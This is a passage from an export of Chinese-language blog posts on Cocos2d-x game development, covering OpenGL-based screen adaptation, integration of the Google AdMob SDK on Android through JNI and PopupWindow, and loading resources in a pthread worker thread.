upz);\neye的坐标(eyex, eyey, eyez), Cocos2d-x中是这么设置的kmVec3Fill( \u0026amp;eye, size.width/2, size.height/2, zeye )。可以看出eye在xy平面的投影恰好是以屏幕分辨率构成的矩形的中心。\ncentre坐标，表示的是视线方向，该方向矢量是由eye坐标、centre坐标共同构成的，由eye指向center。Cocos2d-x的设置 kmVec3Fill( \u0026amp;center, size.width/2, size.height/2, 0.0f )。x, y坐标与eye的相同，因此视线平行于Z轴。\n最后的up参数可以理解为头顶方向，这里设置为Y轴方向。\n可以看出，eye就在投影区的中心，由于投影区的高度为size.height(投影变换时分析得到的)，这样根据投影矩阵设置的宽高比，得出该投影区的宽度也恰为size.width。\n七、再分析\n有了以上关于Cocos2d-x引擎的了解，我们再回过头来用OpenGL的变换原理对篇头的三种情况做分析。\n屏幕大小480×320，未做任何屏幕适配工作，不调用pEGLView-\u0026gt;setDesignResolutionSize。结果：背景图充满窗口。 在这种情况下，各个OpenGL变换矩阵参数值如下：\neye视点坐标(240, 160, 320/1.1566f);\n投影变换矩阵在xy平面的截面区域恰好是480×320；\n背景图锚点位置(240, 160, 0)；\n在这种情况下，截面区域恰与背景图重合，显示在屏幕上后，背景图恰充满窗口，见下图：\n屏幕大小960×640，未做任何屏幕适配工作，不调用pEGLView-\u0026gt;setDesignResolutionSize。结果：背景图未充满窗口，四周有较大黑边。 在这种情况下，各个OpenGL变换矩阵参数值如下：\neye视点坐标(480, 320, 480/1.1566f);\n投影变换矩阵在xy平面的截面区域是960×640；\n而背景图锚点位置(480, 320, 0)；\n因此背景图(480×320)未能完整充满截面区域(960×640)，背景图周围将有较大黑边，见下图：\n屏幕大小同为960×640，按照上面Cocos2d-x屏幕适配指南Wiki中的做法，调用pEGLView-\u0026gt;setDesignResolutionSize(480, 320)。结果：背景图放大为原来2倍，充满屏幕窗口。 在这种情况下，各个OpenGL变换矩阵参数值如下：\neye视点坐标(240, 160, 320/1.1566f);\n投影变换矩阵在xy平面的截面区域是480×320；\n而背景图锚点位置(240, 160, 0)；\n在这种情况下，截面区域恰与背景图重合。但这里需要注意的是现在屏幕是960×640，而截面区域仅仅是480×320，为何映射后，背景图充满屏幕了呢？这里就不能不提到视口的作用了。\n前面说过视口相当于相片，现在我们拍摄出的图片是480×320的，但我们选择的底片Viewport却是960×640的，怎么办，在视口转换 时，OpenGL自动将480×320的图片映射到960×640的底片上，相当于对图像进行的放大。而960×640的视口恰好与屏幕窗口大小一致且坐 标重叠，于是我们就在屏幕上看到了一个铺满屏幕的背景图，见下图：\n我们再来说两个有关视口的例子 以第三种情况为基础，我们修改一下引擎代码，看看视口的作用。\n我们手工将CCDirector::setViewport()中的：\nm_pobOpenGLView-\u0026gt;setViewPortInPoints(0, 0, m_obWinSizeInPoints.width, m_obWinSizeInPoints.height);\n改为：\nm_pobOpenGLView-\u0026gt;setViewPortInPoints(0, 0, m_obWinSizeInPoints.width/2, m_obWinSizeInPoints.height/2);\n这样修改后，Viewport从point(0,0), rect (960×640)变成了point(0,0), rect (480×320)。也就是说用照相机拍出的景物大小是480×320，底片也是480×320，但屏幕是960×640，我们可以将屏幕理解为相框，把 一张480×320的照片，放到960×640大小的相框里，相片只能占据相框的四分之一。这个例子的最终屏幕显示结果见下图：\n前面的例子中背景图片size均小于屏幕大小，我们再来举一个资源图片大于屏幕大小的例子，看看经过一系列变换会得到什么样的结果。\n首先将CCDirector::setViewport()中的代码恢复原先状态。然后我们准备一张1024×768(\u0026gt;屏幕的960×640)的 背景图片\u0026quot;HelloWorld-1024×768.jpg\u0026quot;，修改HelloWorldScene.cpp，将：\nCCSprite* pSprite = CCSprite::create(\u0026ldquo;HelloWorld.png\u0026rdquo;);\n修改为：\nCCSprite* pSprite = CCSprite::create(\u0026quot;HelloWorld-1024×768.png\u0026quot;);\n注释掉AppDelegate.cpp中的pEGLView-\u0026gt;setDesignResolutionSize调用，这样更直观。\n这样修改后，各参数如下：\neye视点坐标(480, 320, 640/1.1566f);\n投影变换矩阵在xy平面的截面区域是960×640；\n而背景图锚点位置(480, 320, 0)；\nViewport point(0,0), rect (960×640)\n由于背景资源图片太大(1024×768)，大于我们的投影截面区域960×640，因此模型真正能显示的部分仅仅是投影截面区域中的那960×640范围内的图片。于是显示结果如下：\n矩阵变换过程如下：\n投影截面区域与视口区域重叠，这里就不再赘述了。\n八、CCDirector::m_fContentScaleFactor\n决定图像在屏幕上的最终显示结果的因素还有一个，那就是CCDirector::m_fContentScaleFactor。在最初的HelloCpp例子中，我们能看到这样的代码：\nif (frameSize.height \u0026gt; mediumResource.size.height)\n{\nsearchPath.push_back(largeResource.directory);\npDirector-\u0026gt;setContentScaleFactor(\nMIN(largeResource.size.height/designResolutionSize.height,\nlargeResource.size.width/designResolutionSize.width));\n}\n… …\n可以看出这个contentScaleFactor存储的是资源分辨率与设计分辨率的比值。我们还是用例子来看看该元素对显示的影响。我们在第一种情况的基础上验证。\n第一种情况：屏幕480×320，未调用setDesignResolutionSize，资源大小480×320。结果：图片充满屏幕。\n现在我们增加并使用一个新资源：HelloWorld-960×640.png，这个图片大小960×640，是屏幕大小的二倍，根据上面的分析，我们很容易猜测到最终结果是：只有图片中央区域(480×320)可以显示出来，其余部分被投影矩阵截掉。\n现在我们使用setContentScaleFactor，在AppDelegate.cpp中做如下调用：\npDirector-\u0026gt;setContentScaleFactor(MIN(960/480, 640/320));\n这样我们得到的m_fContentScaleFactor = 2。而我们编译运行后得到的结果是：图片铺满整个屏幕。为什么会这样呢？\n我们在代码中搜索contentScaleFactor，我们找到一些宏和调用：\n#define CC_CONTENT_SCALE_FACTOR() CCDirector::sharedDirector()-\u0026gt;getContentScaleFactor()\nCCSize CCTexture2D::getContentSize()\n{\nCCSize ret;\nret.width = m_tContentSize.width / CC_CONTENT_SCALE_FACTOR();\nret.height = m_tContentSize.height / CC_CONTENT_SCALE_FACTOR();\nreturn ret;\n}\n#define CC_RECT_PIXELS_TO_POINTS(__rect_in_pixels__) \\\nCCRectMake( (__rect_in_pixels__).origin.x / CC_CONTENT_SCALE_FACTOR(), (__rect_in_pixels__).origin.y / CC_CONTENT_SCALE_FACTOR(), \\\n(__rect_in_pixels__).size.width / CC_CONTENT_SCALE_FACTOR(), (__rect_in_pixels__).size.height / CC_CONTENT_SCALE_FACTOR() )\n… …\nbool CCSprite::initWithTexture(CCTexture2D *pTexture)\n{\nCCAssert(pTexture != NULL, \u0026ldquo;Invalid texture for sprite\u0026rdquo;);\nCCRect rect = CCRectZero;\nrect.size = pTexture-\u0026gt;getContentSize();\nreturn initWithTexture(pTexture, rect);\n}\n这些代码都在告诉我们，如果m_fContentScaleFactor = 2，那代码会对Sprite的纹理进行缩放，让上面得到的数据是经过contentScaleFactor变换的，我们可以认为我们所用的实际资源大小是 原资源的1/m_fContentScaleFactor即可。\n","permalink":"https://tonybai.com/2014/05/13/sprite-draw-principles-of-cocos2dx-screen-adaptation/","summary":"\u003cp\u003e手机(智能终端)游戏绝大多数为全屏(Full Screen)显示，这样开发人员在制作游戏时势必要考虑不同手机(智能终端）屏幕大小、宽高比的不同给游戏画面带来的影响，并且要将这种影响降低到最 小，努力使用不同终端的游戏玩家拥有几乎相同的游戏画面体验。为此各种游戏引擎在屏幕适配方面都给出了自己的方案，\u003ca href=\"http://www.cocos2d-x.org/\"\u003eCocos2d-x\u003c/a\u003e也不例外。 在Cocos2d-x官网Wiki上特地撰写了一篇讲解Cocos2d-x多屏幕适配原理的文章“\u003ca href=\"http://www.cocos2d-x.org/wiki%20/Detailed_explanation_of_Cocos2d-x_Multi-resolution_adaptation\"\u003eDetailed explanation of Cocos2d-x Multi-resolution adaptation\u003c/a\u003e”。\u003c/p\u003e","title":"Cocos2d-x屏幕适配之Sprite绘制原理"},{"content":"话说Cocos2d-x 3.0上一周迫不及待地发布了正式版，本是一件值得庆幸的事情。但由于不可解决的技术问题，引擎无奈将Android平台的NativeActivity 实现重新回退到了Cocos2d-x 2.2.x版本的实现方案。由于之前已经将 GameDemo移植到了Cocos2d-x 3.0rc0版，直观感受到了NativeActivity方案带来的游戏操作体验上的提升（触屏事件的响应），因此心里总是“挂念”引擎的 NativeActivity方案。按照Cocos2d-x官方人士的说法，只要NDK的问题修复，NativeActivity还是未来引擎在 Android平台上的第一选择。我的理解，将来Cocos2d-x的某个版本中还会恢复NativeActivity的实现方案。\n上次只是将GameDemo的核心逻辑移植到了Cocos2d-x 3.0rc0上，但一些外部SDK集成尚未做完，这两天闲遐时开始着手研究如何做，而首先要移植的就是Google AdMob SDK。关于Cocos2d-x 3.0rc0集成Google AdMob SDK，网上已经有了技术方案原型，最初应该是一个外国开发者提出的方案，后来被CocoaChina cocos2d-x社区版主翻译成了中文教程，这里基本上也是参考的这个方案，只是做了局部细化和进一步说明，希望能帮助大家进一步解惑。\n一、功能说明\nGameDemo游戏分为三个场景：WelcomeScene、GameScene以及EndScene。集成AdMob SDK的功能要求如下：\n– 当游戏进入到WelcomeScene时，AdMob SDK完成初始化，发出Ad Request，当收到Ad的时候才会在屏幕上方显示带有Ad的窗口；\n– 当点击Start进入到GameScene时，隐藏Ad窗口，以不干扰玩家的游戏操作为优先；\n– 当游戏Over进入到EndScene的时候，恢复显示Ad窗口；\n– 当玩家点击“Retry”回到GameScene时，隐藏Ad窗口。\n二、方案原理\n这个方案就是通过android.widget.PopupWindow实现广告窗口悬浮在当前窗口之上。按照Android官方Doc中的说 明，PopupWindow用于实现一个弹出框，它可以使用任意布局的View作为其内容，这个弹出框是悬浮在当前activity之上的。\n至于PopupWindow为何能显示在当前Activity之上，可以查看PopupWindow的源码，大致思路就是PopupWindow通过 new时传入的context(当前Activity)获得了当前WindowManager，并将AdView作为子View添加到该窗口中。这里简要列出一些关键源码，大家可粗略理解一下：\npublic PopupWindow(Context context, AttributeSet attrs,\nint defStyleAttr, int defStyleRes) {\nmContext = context;\nmWindowManager = (WindowManager)context\n.getSystemService(Context.WINDOW_SERVICE);\n…. …\n}\npublic void setContentView(View contentView) {\nif (isShowing()) {\nreturn;\n}\nmContentView = contentView;\nif (mContext == null \u0026amp;\u0026amp; mContentView != null) {\nmContext = mContentView.getContext();\n}\nif (mWindowManager == null \u0026amp;\u0026amp; mContentView != null) {\nmWindowManager = (WindowManager) mContext\n.getSystemService(Context.WINDOW_SERVICE);\n}\n}\npublic void showAtLocation(View parent, int gravity, int x, int y) {\nshowAtLocation(parent.getWindowToken(), gravity, x, y);\n}\npublic void showAtLocation(IBinder token, int gravity, int x, int y) {\nif (isShowing() || mContentView == null) {\nreturn;\n}\nunregisterForScrollChanged();\nmIsShowing = true;\nmIsDropdown = false;\nWindowManager.LayoutParams p = createPopupLayout(token);\np.windowAnimations = computeAnimationResource();\npreparePopup(p);\nif (gravity == Gravity.NO_GRAVITY) {\ngravity = Gravity.TOP | Gravity.START;\n}\np.gravity = gravity;\np.x = x;\np.y = y;\nif (mHeightMode \u0026lt; 0) p.height = mLastHeight = mHeightMode;\nif (mWidthMode \u0026lt; 0) p.width = mLastWidth = mWidthMode;\ninvokePopup(p);\n}\nprivate void invokePopup(WindowManager.LayoutParams p) {\nif (mContext != null) {\np.packageName = mContext.getPackageName();\n}\nmPopupView.setFitsSystemWindows(mLayoutInsetDecor);\nsetLayoutDirectionFromAnchor();\nmWindowManager.addView(mPopupView, p);\n}\nUI线程负责更新窗口，因此popupWindow的创建与操作都应该通过runOnUiThread传递给UI线程执行。\n游戏逻辑的C++层代码通过Jni控制PopupWindow的Show和dismiss。别忘了C++层的代码是在渲染线程执行的哦，这也是为何要用handler和runOnUIThread的原因。\n在Cocos2d-x 2.2.2版本集成AdMob时，AdMob只是在收到ad后才显示出广告Banner，但是在cocos2d-x 3.0rc0中，当广告加载未成功时，android.widget.PopupWindow会显示一个小黑框，特难看，因此我们需要自己来控制。\n三、集成步骤\n【AdMob准备】\n到Google AdMob注册一个帐号，如果你有Google帐号，那直接开通AdMob（需填写更加详细的信息）。\n下载Google AdMob SDK，之前一直用GoogleAdMobAdsSdk-6.4.1.jar，这里还以这个版本为例。但Google官方已经不推荐这个版本了，你可以下 载Google Play Services版本的Mobile Ads API，但代码与这里会稍有不同。将下载的jar包放到GameDemo/proj.android/libs中。\n【修改AndroidManifest.xml】\n在标签里添加：\n\u0026lt;activity\nandroid:name=\u0026ldquo;com.google.ads.AdActivity\u0026rdquo;\nandroid:configChanges=\u0026ldquo;keyboard|keyboardHidden|orientation|screenLayout|uiMode|screenSize|smallestScreenSize\u0026rdquo; /\u0026gt;\n\u0026lt;meta-data\nandroid:name=\u0026ldquo;ADMOB_PUBLISHER_ID\u0026rdquo;\nandroid:value=\u0026quot;YOUR_PUBLISHER_ID_VALUE\u0026quot; /\u0026gt;\n权限方面至少包含如下两个：\n【Java层代码集成】\n我们只需要修改GameDemoActivity.java这个文件。\nimport android.app.NativeActivity;\nimport android.os.Bundle;\nimport android.util.Log;\nimport android.os.Handler;\nimport android.os.Message;\nimport android.view.Gravity;\nimport android.view.View;\nimport android.view.Gravity;\nimport android.view.ViewGroup.LayoutParams;\nimport android.view.ViewGroup.MarginLayoutParams;\nimport android.view.WindowManager;\nimport android.widget.LinearLayout;\nimport android.widget.PopupWindow;\nimport com.google.ads.AdRequest;\nimport com.google.ads.AdSize;\nimport com.google.ads.AdView;\nimport com.google.ads.AdListener;\nimport com.google.ads.Ad;\npublic class GameDemoActivity extends NativeActivity{\nprivate static GameDemoActivity context;\nprivate AdView adView;\nprivate PopupWindow popUpWindow;\nprivate LinearLayout popupWindowLayout;\nprivate LinearLayout mainActivityLayout;\nprivate boolean hasAdReceived;\nprivate static Handler adHandler = new Handler() {\npublic void handleMessage(Message msg) {\nif (!context.hasAdReceived)\nreturn;\nswitch (msg.what) {\ncase 0:\nif (View.VISIBLE ==\ncontext.adView.getVisibility()) {\ncontext.adView.setVisibility(View.GONE);\ncontext.popUpWindow.dismiss();\n}\nbreak;\ncase 1:\nif (View.VISIBLE !=\ncontext.adView.getVisibility()) {\ncontext.adView.setVisibility(View.VISIBLE);\ncontext.popUpWindow.showAtLocation(\ncontext.mainActivityLayout, Gravity.TOP, 0, 0);\n}\nbreak;\n}\n}\n};\n@Override\nprotected void onCreate(Bundle savedInstanceState) {\nsuper.onCreate(savedInstanceState);\ngetWindow().addFlags(WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON);\ncontext = this;\nadView = new AdView(this, AdSize.BANNER, \u0026ldquo;a1533d6de900e31\u0026rdquo;);\nadView.setAdListener(new AdmobListener());\n//初始时，广告View隐藏起来\nadView.setVisibility(View.GONE);\n}\npublic static void setupAds(){\ncontext.initAdPopupWindow();\n}\npublic void initAdPopupWindow() {\nif (adView != null) {\ncontext.runOnUiThread(new Runnable() {\n@Override\npublic void run() {\nMarginLayoutParams params = new MarginLayoutParams(\nLayoutParams.WRAP_CONTENT,\nLayoutParams.WRAP_CONTENT);\nparams.setMargins(0, 0, 0, 0);\npopupWindowLayout = new LinearLayout(context);\npopupWindowLayout.setPadding(-5, -5, -5, -5);\npopupWindowLayout.setOrientation(LinearLayout.VERTICAL);\npopupWindowLayout.addView(adView, params);\npopUpWindow = new PopupWindow(context);\npopUpWindow.setWidth(320);\npopUpWindow.setHeight(50);\npopUpWindow.setWindowLayoutMode(LayoutParams.WRAP_CONTENT,\nLayoutParams.WRAP_CONTENT);\npopUpWindow.setClippingEnabled(false);\npopUpWindow.setContentView(popupWindowLayout);\nmainActivityLayout = new LinearLayout(context);\ncontext.setContentView(mainActivityLayout, params);\ncontext.hasAdReceived = false;\nAdRequest adRequest = new AdRequest();\n//测试Admob时使用测试Device，发布版需要去掉这行代码\nadRequest.addTestDevice(\u0026ldquo;CCE4220B2509A406B515E7C9A205AEE1\u0026rdquo;);\ncontext.adView.loadAd(adRequest);\npopUpWindow.update();\n}\n});\n}\n}\n//GoogleAdMobAdsSdk-6.4.1版本中的AdListener是interface，因此\n//我们需要override所有接口，但只有onReceiveAd是我们关心的。\nprivate class AdmobListener implements AdListener {\n@Override\npublic void onReceiveAd(Ad ad) {\n//只有第一次成功接收Ad后，我们后续才显示广告窗口，否则\n//popupWindow会显示为一个小黑框，特难看。\nLog.d(\u0026ldquo;GameDemo\u0026rdquo;, \u0026ldquo;onReceiveAd\u0026rdquo;);\nif (!hasAdReceived){\nhasAdReceived = true; }\n}\n@Override\npublic void onFailedToReceiveAd(Ad ad,\nAdRequest.ErrorCode error) {\nLog.d(\u0026ldquo;GameDemo\u0026rdquo;,\n\u0026ldquo;failed to receive ad (\u0026rdquo; + error+ \u0026ldquo;)\u0026rdquo;);\n}\n@Override\npublic void onPresentScreen(Ad ad) {\nLog.d(\u0026ldquo;GameDemo\u0026rdquo;, \u0026ldquo;onPresentScreen\u0026rdquo;);\n}\n@Override\npublic void onDismissScreen(Ad ad) {\nLog.d(\u0026ldquo;GameDemo\u0026rdquo;, \u0026ldquo;onDismisScreen\u0026rdquo;);\n}\n@Override\npublic void onLeaveApplication(Ad ad) {\nLog.d(\u0026ldquo;GameDemo\u0026rdquo;, \u0026ldquo;onLeaveApp\u0026rdquo;);\n}\n}\npublic static void setAdVisible(boolean b) {\nMessage msg = new Message();\nif (b) {\nmsg.what = 1;\n} else {\nmsg.what = 0;\n}\nadHandler.sendMessage(msg);\n}\n}\n【C++层代码集成】\n在AppDelegate.cpp中添加setupAds方法：\nvoid AppDelegate::setupAds()\n{\n#if (CC_TARGET_PLATFORM == CC_PLATFORM_ANDROID)\nJniMethodInfo t;\nif (JniHelper::getStaticMethodInfo(t, \u0026ldquo;com/tonybai/game/GameDemoActivity\u0026rdquo;, \u0026ldquo;setupAds\u0026rdquo;, \u0026ldquo;()V\u0026rdquo;)) {\nt.env-\u0026gt;CallStaticVoidMethod(t.classID, t.methodID);\nif (t.env-\u0026gt;ExceptionOccurred()) {\nt.env-\u0026gt;ExceptionDescribe();\nt.env-\u0026gt;ExceptionClear();\nreturn;\n}\nt.env-\u0026gt;DeleteLocalRef(t.classID);\n}\n#endif\n}\n在WelcomeScene的init方法中调用setupAds：\nbool WelcomeScene::init()\n{\nbool bRet = false;\ndo {\n… …\nAppDelegate *app = (AppDelegate*)Application::getInstance();\napp-\u0026gt;setupAds();\nbRet=true;\n} while(0);\nreturn bRet;\n}\n在点击Start按钮时，隐藏Ad：\nvoid WelcomeScene::menuStartCallback(Ref* pSender)\n{\nAppDelegate *app = (AppDelegate*)Application::getInstance();\napp-\u0026gt;setAdVisible(false);\nGameScene *gameScene = GameScene::create();\nDirector::getInstance()-\u0026gt;replaceScene(gameScene);\n}\n集成步骤到此就结束了，编译ok就可以部署到模拟器上运行测试一番了。\n四、使用Cocos2d-x 3.0rc0引擎遇到的两个问题\n【问题1】用cocos2d-x 3.0rc0的cocos编译高版本引擎生成的工程遇到的问题\ncocos2d-x 3.0rc0生成的proj.android/build-cfg.json与高版本(rc1～正式版) cocos生成的工程的build-cfg.json稍有不同，用cocos2d-x 3.0rc0版cocos编译高版本cocos生成的project，会提示build_android组件无法找到“copy_to_assets”。 因此需要手动修改proj.android/build-cfg.json，将其中的：\n\u0026ldquo;copy_resources\u0026rdquo;: [\n{\n\u0026ldquo;from\u0026rdquo;: \u0026ldquo;../Resources\u0026rdquo;,\n\u0026ldquo;to\u0026rdquo;: \u0026quot;\u0026quot;\n}\n],\n改为：\n\u0026ldquo;copy_to_assets\u0026rdquo; :[\n\u0026ldquo;../Resources/\u0026rdquo;\n],\n【问题2】 W/dalvikvm(1194): dvmFindClassByName rejecting \u0026lsquo;org/cocos2dx/lib/Cocos2dxHelper\u0026rsquo;\n使用cocos2d-x 3.0rc0编译的项目，总是出现如下问题，但似乎这个错误还不影响程序的运行：\n04-29 09:44:34.968: D/JniHelper(1194): JniHelper::setJavaVM(0xb8835730), pthread_self() = B897B518\n04-29 09:44:34.968: W/dalvikvm(1194): dvmFindClassByName rejecting \u0026lsquo;org/cocos2dx/lib/Cocos2dxHelper\u0026rsquo;\nGoogle了一下，这个问题很多童鞋都遇到了，但给出的solution却不甚令我满意，于是我就求甚解的细致挖掘了一下，终于找到了一个让我还算满意 的答案。我们分析一下这两条日志，rejecting那条日志总是伴随setJavaVM后面出现的。可引擎什么时候setJavaVM了呢？显然是在 native_app_glue创建的子进程中，引擎需要attachCurrentThread，获得JniEnv时才做的。于是我们打开cocos2d-x-3.0rc0/cocos/2d/platform/android/nativeactivity.cpp一看究竟。\n在nativeactivity.cpp中有两处\u0026quot;org/cocos2dx/lib/Cocos2dxHelper\u0026quot;，我们先看engine_handle_cmd中的那处：\nstatic void engine_handle_cmd(struct android_app* app, int32_t cmd)\n{\n…. ….\ncase APP_CMD_INIT_WINDOW:\nLOG_RENDER_DEBUG(\u0026ldquo;android_main : APP_CMD_INIT_WINDOW\u0026rdquo;);\n// The window is being shown, get it ready.\nif (engine-\u0026gt;app-\u0026gt;window != NULL) {\ncocos_dimensions d = engine_init_display(engine);\nif ((d.w \u0026gt; 0) \u0026amp;\u0026amp;\n(d.h \u0026gt; 0)) {\ncocos2d::JniHelper::setJavaVM(app-\u0026gt;activity-\u0026gt;vm);\ncocos2d::JniHelper::setClassLoaderFrom(app-\u0026gt;activity-\u0026gt;clazz);\n// call Cocos2dxHelper.init()\ncocos2d::JniMethodInfo ccxhelperInit;\nif (!cocos2d::JniHelper::getStaticMethodInfo(ccxhelperInit,\n\u0026ldquo;org/cocos2dx/lib/Cocos2dxHelper\u0026rdquo;,\n\u0026ldquo;init\u0026rdquo;,\n\u0026ldquo;(Landroid/app/Activity;)V\u0026rdquo;)) {\nLOGI(\u0026ldquo;cocos2d::JniHelper::getStaticMethodInfo(ccxhelperInit) FAILED\u0026rdquo;);\n}\nccxhelperInit.env-\u0026gt;CallStaticVoidMethod(ccxhelperInit.classID,\nccxhelperInit.methodID,\napp-\u0026gt;activity-\u0026gt;clazz);\ncocos_init(d, app);\n}\nengine-\u0026gt;animating = 1;\nengine_draw_frame(engine);\n}\nbreak;\n… …\n}\n初步可以断定，那两条日志就是执行到这里输出的，但为何dvmFindClassByName方法会rejecting “org/cocos2dx/lib/Cocos2dxHelper”这个类名呢？我们还得翻看dalvik虚拟机源码：\n/dalvik/vm/native/InternalNative.cpp\n/*\n* Find a class by name, initializing it if requested.\n*/\nClassObject* dvmFindClassByName(StringObject* nameObj, Object* loader,\nbool doInit)\n{\nClassObject* clazz = NULL;\nchar* name = NULL;\nchar* descriptor = NULL;\nif (nameObj == NULL) {\ndvmThrowNullPointerException(\u0026ldquo;name == null\u0026rdquo;);\ngoto bail;\n}\nname = dvmCreateCstrFromString(nameObj);\n/*\n* We need to validate and convert the name (from x.y.z to x/y/z). This\n* is especially handy for array types, since we want to avoid\n* auto-generating bogus array classes.\n*/\nif (!dexIsValidClassName(name, true)) {\nALOGW(\u0026ldquo;dvmFindClassByName rejecting \u0026lsquo;%s\u0026rsquo;\u0026rdquo;, name);\ndvmThrowClassNotFoundException(name);\ngoto bail;\n}\n… …\n}\n我们的确找到了输出rejecting日志的地方，通过注释我们可以看到这个方法是用来验证名字对象，并将x.y.z形式的名字转换成x/y/z的。但引 擎中传入的就是“x/y/z”格式，因此这个方法输出了错误日志。我尝试将上面engine_handle_cmd中的\u0026quot;org/cocos2dx/lib/Cocos2dxHelper\u0026quot;改成\u0026quot;org.cocos2dx.lib.Cocos2dxHelper\u0026quot;，错误日志果然消失了。\n不过目前仍不能解释一点：为何在其他位置，比如在前面的AppDelegate::setupAds中，使用x/y/z格式的jni调用参数却没有输出错误日志！难道两个位置dalvik虚拟机使用的是不同的名字对象查找和加载方法？这个目前尚无定论。\n","permalink":"https://tonybai.com/2014/05/01/integrate-cocos2dx3rc0-with-admob/","summary":"\u003cp\u003e话说\u003ca href=\"http://www.cocos2d-x.org/\"\u003eCocos2d-x\u003c/a\u003e 3.0上一周迫不及待地发布了\u003ca href=\"http://www.cocos2d-x.org/news/215\"\u003e正式版\u003c/a\u003e，本是一件值得庆幸的事情。但由于不可解决的\u003ca href=\"http://www.cocos2d-x.org/forums/6/topics/48163\"\u003e技术问题\u003c/a\u003e，引擎无奈将Android平台的NativeActivity 实现重新\u003ca href=\"http://tonybai.com/2014/04/23/changes-in-cocos2dx-3-rc2-for-android/\"\u003e回退\u003c/a\u003e到了Cocos2d-x 2.2.x版本的实现方案。由于之前已经将 GameDemo移植到了\u003ca href=\"http://tonybai.com/2014/04/22/hello-cocos2dx-3-rc0/\"\u003eCocos2d-x 3.0rc0版\u003c/a\u003e，直观感受到了NativeActivity方案带来的游戏操作体验上的提升（触屏事件的响应），因此心里总是“挂念”引擎的 NativeActivity方案。按照Cocos2d-x官方人士的说法，只要NDK的问题修复，NativeActivity还是未来引擎在 Android平台上的第一选择。我的理解，将来Cocos2d-x的某个版本中还会恢复NativeActivity的实现方案。\u003c/p\u003e","title":"Cocos2d-x 3.0rc0集成Google AdMob SDK"},{"content":"Cocos2d-x从2.x版本到上周刚刚才发布的Cocos2d-x 3.0 Final版，其引擎驱动核心依旧是一个单线程的“死循环”，一旦某一帧遇到了“大活儿”，比如Size很大的纹理资源加载或网络IO或大量计算，画面将 不可避免出现卡顿以及响应迟缓的现象。从古老的Win32 GUI编程那时起，Guru们就告诉我们：别阻塞主线程(UI线程)，让Worker线程去做那些“大活儿”吧。\n手机游戏，即便是休闲类的小游戏，往往也涉及大量纹理资源、音视频资源、文件读写以及网络通信，处理的稍有不甚就会出现画面卡顿，交互不畅的情况。虽然引 擎在某些方面提供了一些支持，但有些时候还是自己祭出Worker线程这个法宝比较灵活，下面就以Cocos2d-x 3.0 Final版游戏初始化为例（针对Android平台），说说如何进行多线程资源加载。\n我们经常看到一些手机游戏，启动之后首先会显示一个带有公司Logo的闪屏画面(Flash Screen)，然后才会进入一个游戏Welcome场景，点击“开始”才正式进入游戏主场景。而这里Flash Screen的展示环节往往在后台还会做另外一件事，那就是加载游戏的图片资源，音乐音效资源以及配置数据读取，这算是一个“障眼法”吧，目的就是提高用 户体验，这样后续场景渲染以及场景切换直接使用已经cache到内存中的数据即可，无需再行加载。\n一、为游戏添加FlashScene\n在游戏App初始化时，我们首先创建FlashScene，让游戏尽快显示FlashScene画面：\n// AppDelegate.cpp\nbool AppDelegate::applicationDidFinishLaunching() {\n… …\nFlashScene* scene = FlashScene::create();\npDirector-\u0026gt;runWithScene(scene);\nreturn true;\n}\n在FlashScene init时，我们创建一个Resource Load Thread，我们用一个ResourceLoadIndicator作为渲染线程与Worker线程之间交互的媒介。\n//FlashScene.h\nstruct ResourceLoadIndicator {\npthread_mutex_t mutex;\nbool load_done;\nvoid *context;\n};\nclass FlashScene : public Scene\n{\npublic:\nFlashScene(void);\n~FlashScene(void);\nvirtual bool init();\nCREATE_FUNC(FlashScene);\nbool getResourceLoadIndicator();\nvoid setResourceLoadIndicator(bool flag);\nprivate:\nvoid updateScene(float dt);\nprivate:\nResourceLoadIndicator rli;\n};\n// FlashScene.cpp\nbool FlashScene::init()\n{\nbool bRet = false;\ndo {\nCC_BREAK_IF(!CCScene::init());\nSize winSize = Director::getInstance()-\u0026gt;getWinSize();\n//FlashScene自己的资源只能同步加载了\nSprite *bg = Sprite::create(\u0026ldquo;FlashSceenBg.png\u0026rdquo;);\nCC_BREAK_IF(!bg);\nbg-\u0026gt;setPosition(ccp(winSize.width/2, winSize.height/2));\nthis-\u0026gt;addChild(bg, 0);\nthis-\u0026gt;schedule(schedule_selector(FlashScene::updateScene)\n, 0.01f);\n//start the resource loading thread\nrli.load_done = false;\nrli.context = (void*)this;\npthread_mutex_init(\u0026amp;rli.mutex, NULL);\npthread_attr_t attr;\npthread_attr_init(\u0026amp;attr);\npthread_attr_setdetachstate(\u0026amp;attr, PTHREAD_CREATE_DETACHED);\npthread_t thread;\npthread_create(\u0026amp;thread, \u0026amp;attr,\nresource_load_thread_entry, \u0026amp;rli);\nbRet=true;\n} while(0);\nreturn bRet;\n}\nstatic void* resource_load_thread_entry(void* param)\n{\nAppDelegate *app = (AppDelegate*)Application::getInstance();\nResourceLoadIndicator *rli = (ResourceLoadIndicator*)param;\nFlashScene *scene = (FlashScene*)rli-\u0026gt;context;\n//load music effect resource\n… …\n//init from config files\n… …\n//load images data in worker thread\nSpriteFrameCache::getInstance()-\u0026gt;addSpriteFramesWithFile(\n\u0026ldquo;All-Sprites.plist\u0026rdquo;);\n… …\n//set loading done\nscene-\u0026gt;setResourceLoadIndicator(true);\nreturn NULL;\n}\nbool FlashScene::getResourceLoadIndicator()\n{\nbool flag;\npthread_mutex_lock(\u0026amp;rli.mutex);\nflag = rli.load_done;\npthread_mutex_unlock(\u0026amp;rli.mutex);\nreturn flag;\n}\nvoid FlashScene::setResourceLoadIndicator(bool flag)\n{\npthread_mutex_lock(\u0026amp;rli.mutex);\nrli.load_done = flag;\npthread_mutex_unlock(\u0026amp;rli.mutex);\nreturn;\n}\n我们在定时器回调函数中对indicator标志位进行检查，当发现加载ok后，切换到接下来的游戏开始场景：\nvoid FlashScene::updateScene(float dt)\n{\nif (getResourceLoadIndicator()) {\nDirector::getInstance()-\u0026gt;replaceScene(\nWelcomeScene::create());\n}\n}\n到此，FlashScene的初始设计和实现完成了。Run一下试试吧。\n二、崩溃\n在GenyMotion的4.4.2模拟器上，游戏运行的结果并没有如我期望，FlashScreen显现后游戏就异常崩溃退出了。\n通过monitor分析游戏的运行日志，我们看到了如下一些异常日志：\nthreadid=24: thread exiting, not yet detached (count=0)\nthreadid=24: thread exiting, not yet detached (count=1)\nthreadid=24: native thread exited without detaching\n很是奇怪啊，我们在创建线程时，明明设置了 PTHREAD_CREATE_DETACHED属性了啊：\npthread_attr_setdetachstate(\u0026amp;attr, 